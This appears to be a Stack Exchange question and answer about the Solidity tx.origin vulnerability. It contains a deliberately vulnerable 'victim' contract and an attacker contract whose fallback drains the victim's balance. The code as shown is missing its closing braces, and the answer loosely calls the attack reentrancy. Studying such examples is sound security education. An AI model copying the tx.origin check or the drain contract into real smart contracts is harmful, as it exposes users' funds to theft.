I have two contracts in the context of tx.origin Vulnerability:

pragma solidity ^0.5.8;
contract TxOriginVictim {
   address owner;
   constructor() public{  
      owner = msg.sender;
   function transferTo(address to, uint amount) public {  
      require(tx.origin == owner);  
      (bool success,) = to.call.value(amount)("");
   function() external payable  {}

and the Attacker's contract:


pragma solidity ^0.5.8;
interface TxOriginVictim {  
   function transferTo(address to, uint amount) external;

contract TxOriginAttacker {
   address owner;
   constructor () public {  owner = msg.sender;}
   function getOwner() public returns (address) {  return owner;}
   function() external payable  {  
      TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);

In the TxOriginAttacker contract, I can’t understand the purpose of TxOriginVictim’s interface. What is TxOriginVictim(msg.sender) in the statement: TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);

Please guide me.



Interfaces allows a contract to call another without knowing the implementation.

The code TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance) is doing something like.

TxOriginVictim victim = TxOriginVictim(msg.sender);
victim.transferTo(owner, msg.sender.balance);

The attacker assumes msg.sender is an instance of TxOriginVictim contract and tries to call transferTo function. A sort of reentrancy attack.

Since the victim only check tx.origin it is allowing the attacker to call transferTo.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.